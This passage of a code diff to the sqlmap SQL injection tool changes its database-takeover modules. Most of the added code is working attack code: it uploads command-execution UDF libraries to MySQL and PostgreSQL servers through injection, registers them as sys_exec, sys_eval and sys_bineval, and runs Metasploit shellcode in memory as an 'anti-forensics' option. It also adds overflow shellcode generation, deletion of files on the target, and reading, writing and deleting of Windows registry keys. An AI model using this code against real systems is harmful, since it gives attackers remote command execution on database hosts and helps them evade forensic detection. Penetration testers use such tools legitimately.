Miscellaneous, Takeover): """ def __init__(self): - self.__basedir = None - self.excludeDbsList = MYSQL_SYSTEM_DBS + self.__basedir = None + self.__datadir = None + self.excludeDbsList = MYSQL_SYSTEM_DBS + self.sysUdfs = { + # UDF name: UDF return data-type + "sys_exec": { "return": "int" }, + "sys_eval": { "return": "string" }, + "sys_bineval": { "return": "int" } + } Enumeration.__init__(self, "MySQL") Filesystem.__init__(self) @@ -368,11 +374,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): infoMsg = "the back-end DBMS operating system is %s" % kb.os logger.info(infoMsg) - if detailed == False: - self.cleanup(onlyFileTbl=True) - - return - self.cleanup(onlyFileTbl=True) @@ -483,119 +484,94 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html - inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile)) + inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) if confirm == True: self.askCheckWrittenFile(wFile, dFile, fileType) - def udfInit(self): + def udfSetRemotePath(self): self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] - dFile = None - wFile = paths.SQLMAP_UDF_PATH - lib = "libsqlmapudf%s" % randomStr(lowercase=True) + # On Windows if kb.os == "Windows": - wFile += "/mysql/windows/lib_mysqludf_sys.dll" - libExt = "dll" - else: - wFile += "/mysql/linux/lib_mysqludf_sys.so" - libExt = "so" + # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 + if banVer >= "5.1.19": + if self.__basedir is None: + logger.info("retrieving MySQL base directory absolute path") - for udf in ( "sys_exec", "sys_eval" ): - if udf in self.createdUdf: - continue + # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir + self.__basedir = inject.getValue("SELECT @@basedir") + self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/")) - logger.info("checking if %s UDF already exist" % udf) - - query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf)) - exists = inject.getValue(query, resumeValue=False, unpack=False) - - if exists == "1": - message = "%s UDF already exists, do you " % udf - message += "want to overwrite it? [y/N] " - output = readInput(message, default="N") - - if output and output in ("y", "Y"): - self.udfToCreate.add(udf) - else: - self.udfToCreate.add(udf) - - if len(self.udfToCreate) > 0: - # On Windows - if kb.os == "Windows": - # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 - if banVer >= "5.1.19": - if self.__basedir == None: - logger.info("retrieving MySQL base directory absolute path") - - # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir - self.__basedir = inject.getValue("SELECT @@basedir") - self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/")) - - if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I): - kb.os = "Windows" - - # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin - dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt) - - logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir) - - # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file - # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file - else: - #logger.debug("retrieving MySQL data directory absolute path") - - # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir - #datadir = inject.getValue("SELECT @@datadir") - - # NOTE: specifying the relative path as './udf.dll' - # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 - datadir = "." - datadir = os.path.normpath(datadir.replace("\\", "/")) - - if re.search("[\w]\:\/", datadir, re.I): + if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I): kb.os = "Windows" - # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, - # C:\WINDOWS\system32, @@basedir\bin or @@datadir - dFile = "%s/%s.%s" % (datadir, lib, libExt) + # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin + self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt) - # On Linux + logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir) + + # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file + # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: - # The SO can be in either /lib, /usr/lib or one of the - # paths specified in /etc/ld.so.conf file, none of these - # paths are writable by mysql user by default - # TODO: test with plugins folder on MySQL >= 5.1.19 - dFile = "/usr/lib/%s.%s" % (lib, libExt) + #logger.debug("retrieving MySQL data directory absolute path") - self.writeFile(wFile, dFile, "binary", False) + # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir + #self.__datadir = inject.getValue("SELECT @@datadir") - for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ): - if udf in self.createdUdf: - continue + # NOTE: specifying the relative path as './udf.dll' + # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 + self.__datadir = "." + self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/")) - if udf in self.udfToCreate: - logger.info("creating %s UDF from the binary UDF file" % udf) + if re.search("[\w]\:\/", self.__datadir, re.I): + kb.os = "Windows" - # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html - inject.goStacked("DROP FUNCTION %s" % udf) - inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt)) - else: - logger.debug("keeping existing %s UDF as requested" % udf) + # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, + # C:\WINDOWS\system32, @@basedir\bin or @@datadir + self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt) + + # On Linux + else: + # The SO can be in either /lib, /usr/lib or one of the + # paths specified in /etc/ld.so.conf file, none of these + # paths are writable by mysql user by default + # TODO: test with plugins folder on MySQL >= 5.1.19 + self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) + + + def udfCreateFromSharedLib(self, udf, inpRet): + if udf in self.udfToCreate: + logger.info("creating UDF '%s' from the binary UDF file" % udf) + + ret = inpRet["return"] + + # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html + inject.goStacked("DROP FUNCTION %s" % udf) + inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt)) self.createdUdf.add(udf) + else: + logger.debug("keeping existing UDF '%s' as requested" % udf) + + def udfInjectCmd(self): + self.udfLocalFile = paths.SQLMAP_UDF_PATH + self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) + + if kb.os == "Windows": + self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll" + self.udfSharedLibExt = "dll" + else: + self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so" + self.udfSharedLibExt = "so" + + self.udfInjectCore(self.sysUdfs) self.envInitialized = True - debugMsg = "creating a support table to write commands standard " - debugMsg += "output to" - logger.debug(debugMsg) - - self.createSupportTbl(self.cmdTblName, self.tblField, "longtext") - def uncPathRequest(self): if kb.stackedTest == False: diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py index ed76b2a34..ee86ae0b3 100644 --- a/plugins/dbms/postgresql.py +++ b/plugins/dbms/postgresql.py @@ -34,7 +34,6 @@ from lib.core.common import getHtmlErrorFp from lib.core.common import getRange from lib.core.common import randomInt from lib.core.common import randomStr -from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -63,6 +62,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove def __init__(self): self.excludeDbsList = PGSQL_SYSTEM_DBS + self.sysUdfs = { + # UDF name: UDF parameters' input data-type and return data-type + "sys_exec": { + "input": [ "text" ], + "return": "int4" + }, + "sys_eval": { + "input": [ "text" ], + "return": "text" + }, + "sys_bineval": { + "input": [ "text" ], + "return": "int4" + } + } Enumeration.__init__(self, "PostgreSQL") Filesystem.__init__(self) @@ -252,15 +266,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) - self.createSupportTbl(self.fileTblName, self.tblField, "character(500)") + self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) # Windows executables should always have ' Visual C++' or ' mingw' # patterns within the banner - osWindows = ( " Visual C++", " mingw" ) + osWindows = ( " Visual C++", "mingw" ) for osPattern in osWindows: - query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%" + osPattern + "%')>0" query = agent.forgeCaseStatement(query) @@ -275,11 +289,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove infoMsg = "the back-end DBMS operating system is %s" % kb.os logger.info(infoMsg) - if detailed == False: - self.cleanup(onlyFileTbl=True) - - return - self.cleanup(onlyFileTbl=True) @@ -408,7 +417,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove # NOTE: lo_export() exports up to only 8192 bytes of the file # (pg_largeobject 'data' field) - inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile)) + inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) if confirm == True: self.askCheckWrittenFile(wFile, dFile, fileType) @@ -416,13 +425,46 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove inject.goStacked("SELECT lo_unlink(%d)" % self.oid) - def udfInit(self): + def udfSetRemotePath(self): + # On Windows + if kb.os == "Windows": + # The DLL can be in any folder where postgres user has + # read/write/execute access is valid + # NOTE: by not specifing any path, it will save into the + # data directory, on PostgreSQL 8.3 it is + # C:\Program Files\PostgreSQL\8.3\data. + self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) + + # On Linux + else: + # The SO can be in any folder where postgres user has + # read/write/execute access is valid + self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) + + + def udfCreateFromSharedLib(self, udf, inpRet): + if udf in self.udfToCreate: + logger.info("creating UDF '%s' from the binary UDF file" % udf) + + inp = ", ".join(i for i in inpRet["input"]) + ret = inpRet["return"] + + # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html + inject.goStacked("DROP FUNCTION %s" % udf) + inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) + + self.createdUdf.add(udf) + else: + logger.debug("keeping existing UDF '%s' as requested" % udf) + + + def udfInjectCmd(self): + self.udfLocalFile = paths.SQLMAP_UDF_PATH + self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) + self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] - dFile = None - wFile = paths.SQLMAP_UDF_PATH - lib = "libsqlmapudf%s" % randomStr(lowercase=True) if banVer >= "8.3": majorVer = "8.3" @@ -430,72 +472,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove majorVer = "8.2" if kb.os == "Windows": - wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer - libExt = "dll" + self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer + self.udfSharedLibExt = "dll" else: - wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer - libExt = "so" - - for udf in ( "sys_exec", "sys_eval" ): - if udf in self.createdUdf: - continue - - logger.info("checking if %s UDF already exist" % udf) - - query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf)) - exists = inject.getValue(query, resumeValue=False, unpack=False) - - if exists == "1": - message = "%s UDF already exists, do you " % udf - message += "want to overwrite it? [y/N] " - output = readInput(message, default="N") - - if output and output in ("y", "Y"): - self.udfToCreate.add(udf) - else: - self.udfToCreate.add(udf) - - if len(self.udfToCreate) > 0: - # On Windows - if kb.os == "Windows": - # The DLL can be in any folder where postgres user has - # read/write/execute access is valid - # NOTE: by not specifing any path, it will save into the - # data directory, on PostgreSQL 8.3 it is - # C:\Program Files\PostgreSQL\8.3\data. - dFile = "%s.%s" % (lib, libExt) - - # On Linux - else: - # The SO can be in any folder where postgres user has - # read/write/execute access is valid - dFile = "/tmp/%s.%s" % (lib, libExt) - - self.writeFile(wFile, dFile, "binary", False) - - for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ): - if udf in self.createdUdf: - continue - - if udf in self.udfToCreate: - logger.info("creating %s UDF from the binary UDF file" % udf) - - # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html - inject.goStacked("DROP FUNCTION %s" % udf) - inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf)) - else: - logger.debug("keeping existing %s UDF as requested" % udf) - - self.createdUdf.add(udf) + self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer + self.udfSharedLibExt = "so" + self.udfInjectCore(self.sysUdfs) self.envInitialized = True - debugMsg = "creating a support table to write commands standard " - debugMsg += "output to" - logger.debug(debugMsg) - - self.createSupportTbl(self.cmdTblName, self.tblField, "text") - def uncPathRequest(self): self.createSupportTbl(self.fileTblName, self.tblField, "text") diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 57deab7dd..940dd3265 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -46,12 +46,15 @@ class Miscellaneous: if kb.os == "Windows": # NOTES: # - # * MySQL runs by default as SYSTEM and the system-wide - # temporary files directory is C:\WINDOWS\Temp + # * The system-wide temporary files directory is + # C:\WINDOWS\Temp + # + # * MySQL runs by default as SYSTEM # # * PostgreSQL runs by default as postgres user and the # temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp, - # however the system-wide folder is writable too + # however the system-wide folder is writable too + # #infoMsg = "retrieving remote absolute path of temporary files " #infoMsg += "directory" #logger.info(infoMsg) @@ -70,12 +73,28 @@ class Miscellaneous: setRemoteTempPath() + def delRemoteTempFile(self, tempFile, bat=False): + self.checkDbmsOs() + + if kb.os == "Windows": + if bat is True: + tempFile = tempFile.replace("/", "\\\\") + else: + tempFile = tempFile.replace("/", "\\") + + cmd = "del /F /Q %s" % tempFile + else: + cmd = "rm -f %s" % tempFile + + self.execCmd(cmd, forgeCmd=True) + + def createSupportTbl(self, tblName, tblField, tblType): inject.goStacked("DROP TABLE %s" % tblName) inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) - def cleanup(self, onlyFileTbl=False): + def cleanup(self, onlyFileTbl=False, udfDict=None): """ Cleanup database from sqlmap create tables and functions """ @@ -108,17 +127,21 @@ class Miscellaneous: if kb.dbms == "Microsoft SQL Server": return - for udf in ( "sys_exec", "sys_eval" ): - message = "do you want to remove %s UDF? [Y/n] " % udf + if udfDict is None: + udfDict = self.sysUdfs + + for udf, inpRet in udfDict.items(): + message = "do you want to remove UDF '%s'? [Y/n] " % udf output = readInput(message, default="Y") if not output or output in ("y", "Y"): dropStr = "DROP FUNCTION %s" % udf if kb.dbms == "PostgreSQL": - dropStr += "(text)" + inp = ", ".join(i for i in inpRet["input"]) + dropStr += "(%s)" % inp - logger.debug("removing %s UDF" % udf) + logger.debug("removing UDF '%s'" % udf) inject.goStacked(dropStr) logger.info("database management system cleanup finished") diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 5f44dc3f2..fe840bfae 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -42,13 +42,12 @@ from lib.core.exception import sqlmapUnsupportedDBMSException from lib.core.shell import autoCompletion from lib.request.connect import Connect as Request from lib.takeover.abstraction import Abstraction -from lib.takeover.dep import DEP from lib.takeover.metasploit import Metasploit from lib.takeover.registry import Registry from lib.techniques.outband.stacked import stackedTest -class Takeover(Abstraction, DEP, Metasploit, Registry): +class Takeover(Abstraction, Metasploit, Registry): """ This class defines generic OS takeover functionalities for plugins. """ @@ -59,7 +58,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): self.cmdFromChurrasco = False Abstraction.__init__(self) - DEP.__init__(self) def __webBackdoorRunCmd(self, backdoorUrl, cmd): @@ -257,9 +255,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True)) self.cmdFromChurrasco = True - # NOTE: no need to handle DEP for Churrasco executable because - # it spawns a new process as the SYSTEM user token to execute - # the executable passed as argument self.writeFile(wFile, self.churrascoPath, "binary", confirm=False) return True @@ -309,28 +304,53 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): self.initEnv() self.getRemoteTempPath() - self.createMsfPayloadStager() - self.uploadMsfPayloadStager() - if kb.os == "Windows": - # NOTE: no need to add an exception to DEP for the payload - # stager because it already sets the memory to +rwx before - # copying the shellcode into that memory page - #self.handleDep(self.exeFilePathRemote) + goUdf = False + condition = ( kb.dbms == "MySQL" or kb.dbms == "PostgreSQL" ) - if conf.privEsc and kb.dbms == "MySQL": + if condition is True: + msg = "how do you want to execute the Metasploit shellcode " + msg += "on the back-end database underlying operating system?" + msg += "\n[1] Stand-alone payload stager (file system way, default)" + msg += "\n[2] Via UDF 'sys_bineval' (in-memory way, anti-forensics)" + + while True: + choice = readInput(msg, default=1) + + if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ): + choice = int(choice) + break + + elif isinstance(choice, int) and choice in ( 1, 2 ): + break + + else: + warnMsg = "invalid value, valid values are 1 and 2" + logger.warn(warnMsg) + + if choice == 2: + goUdf = True + + if goUdf is True: + self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") + else: + self.createMsfPayloadStager() + self.uploadMsfPayloadStager() + + if kb.os == "Windows" and conf.privEsc: + if kb.dbms == "MySQL": debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" logger.debug(debugMsg) - elif conf.privEsc and kb.dbms == "PostgreSQL": + elif kb.dbms == "PostgreSQL": warnMsg = "by default PostgreSQL on Windows runs as postgres " warnMsg += "user which has no Windows Impersonation " warnMsg += "Tokens: it is unlikely that the privilege " warnMsg += "escalation will be successful" logger.warn(warnMsg) - elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): + elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0] warnMsg += "runs as Network Service which has no Windows " warnMsg += "Impersonation Tokens within all threads, this " @@ -350,7 +370,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): # system is not Windows conf.privEsc = False - self.pwn() + self.pwn(goUdf) def osSmb(self): @@ -424,11 +444,134 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) - # NOTE: only needed to handle DEP self.initEnv(mandatory=False, detailed=True) - self.getRemoteTempPath() - self.createMsfShellcode() - self.overflowBypassDEP() + self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof() - self.delException() + + + def __regInit(self): + stackedTest() + + if kb.stackedTest == False: + return + + self.checkDbmsOs() + + if kb.os != "Windows": + errMsg = "the back-end DBMS underlying operating system is " + errMsg += "not Windows" + raise sqlmapUnsupportedDBMSException, errMsg + + self.initEnv() + self.getRemoteTempPath() + + + def regRead(self): + self.__regInit() + + if not conf.regKey: + default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" + msg = "which registry key do you want to read? [%s] " % default + regKey = readInput(msg, default=default) + else: + regKey = conf.regKey + + if not conf.regVal: + default = "ProductName" + msg = "which registry key value do you want to read? [%s] " % default + regVal = readInput(msg, default=default) + else: + regVal = conf.regVal + + infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal) + logger.info(infoMsg) + + return self.readRegKey(regKey, regVal, False) + + + def regAdd(self): + self.__regInit() + + errMsg = "missing mandatory option" + + if not conf.regKey: + msg = "which registry key do you want to write? " + regKey = readInput(msg) + + if not regKey: + raise sqlmapMissingMandatoryOptionException, errMsg + else: + regKey = conf.regKey + + if not conf.regVal: + msg = "which registry key value do you want to write? " + regVal = readInput(msg) + + if not regVal: + raise sqlmapMissingMandatoryOptionException, errMsg + else: + regVal = conf.regVal + + if not conf.regData: + msg = "which registry key value data do you want to write? " + regData = readInput(msg) + + if not regData: + raise sqlmapMissingMandatoryOptionException, errMsg + else: + regData = conf.regData + + if not conf.regType: + default = "REG_SZ" + msg = "which registry key value data-type is it? " + msg += "[%s] " % default + regType = readInput(msg, default=default) + else: + regType = conf.regType + + infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal) + infoMsg += "with data '%s'. " % regData + infoMsg += "This will work only if the user running the database " + infoMsg += "process has privileges to modify the Windows registry." + logger.info(infoMsg) + + self.addRegKey(regKey, regVal, regType, regData) + + + def regDel(self): + self.__regInit() + + errMsg = "missing mandatory option" + + if not conf.regKey: + msg = "which registry key do you want to delete? " + regKey = readInput(msg) + + if not regKey: + raise sqlmapMissingMandatoryOptionException, errMsg + else: + regKey = conf.regKey + + if not conf.regVal: + msg = "which registry key value do you want to delete? " + regVal = readInput(msg, default=default) + + if not regVal: + raise sqlmapMissingMandatoryOptionException, errMsg + else: + regVal = conf.regVal + + message = "are you sure that you want to delete the Windows " + message += "registry path '%s\%s? [y/N] " % (regKey, regVal) + output = readInput(message, default="N") + + if output and output[0] not in ( "Y", "y" ): + return + + infoMsg = "deleting Windows registry path '%s\%s'" % (regKey, regVal) + infoMsg += "This will work only if the user running the database " + infoMsg += "process has privileges to modify the Windows registry." + logger.info(infoMsg) + + self.delRegKey(regKey, regVal) diff --git a/sqlmap.conf b/sqlmap.conf index 8f2fbbf8e..37fd7ee0e 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -262,6 +262,18 @@ limitStart = 0 # retrieve them until the last) limitStop = 0 +# First query output word character to retrieve +# Valid: integer +# Default: 0 (sqlmap will enumerate the query output from the first +# character) +firstChar = 0 + +# Last query output word character to retrieve +# Valid: integer +# Default: 0 (sqlmap will enumerate the query output until the last +# character) +lastChar = 0 + # SQL SELECT query to be executed. # Example: SELECT 'foo', 'bar' query = @@ -271,6 +283,16 @@ query = sqlShell = False +[User-defined function] + +# Inject custom user-defined functions +# Valid: True or False +udfInject = False + +# Local path of the shared library +shLib = + + [File system] # Read a specific file from the back-end DBMS underlying file system. @@ -324,6 +346,30 @@ msfPath = tmpPath = +[Windows] + +# Read a Windows registry key value +regRead = False + +# Write a Windows registry key value data +regAdd = False + +# Delete a Windows registry key value +regDel = False + +# Windows registry key +regKey = + +# Windows registry key value +regVal = + +# Windows registry key value data +regData = + +# Windows registry key value type +regType = + + [Miscellaneous] # Retrieve each query output length and calculate the estimated time of diff --git a/udf/mysql/linux/lib_mysqludf_sys.so b/udf/mysql/linux/lib_mysqludf_sys.so index f46f4e8f5..699065da3 100755 Binary files a/udf/mysql/linux/lib_mysqludf_sys.so and b/udf/mysql/linux/lib_mysqludf_sys.so differ diff --git a/udf/mysql/windows/lib_mysqludf_sys.dll b/udf/mysql/windows/lib_mysqludf_sys.dll index 26733307b..8f62d0fb3 100755 Binary files a/udf/mysql/windows/lib_mysqludf_sys.dll and b/udf/mysql/windows/lib_mysqludf_sys.dll differ diff --git a/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so index b5301e17d..16556d4fb 100644 Binary files a/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so and b/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so differ diff --git a/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so index ae2a12601..bb7cfa39c 100755 Binary files a/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so and b/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so differ diff --git a/udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll index b47f15c51..49e5f8130 100755 Binary files a/udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll and b/udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll differ diff --git a/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll index 875aa45c6..a4935bcc8 100755 Binary files a/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll and b/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll differ diff --git a/xml/queries.xml b/xml/queries.xml index e5854e95f..bcdcfa8d8 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -29,6 +29,7 @@ + @@ -138,6 +139,7 @@ +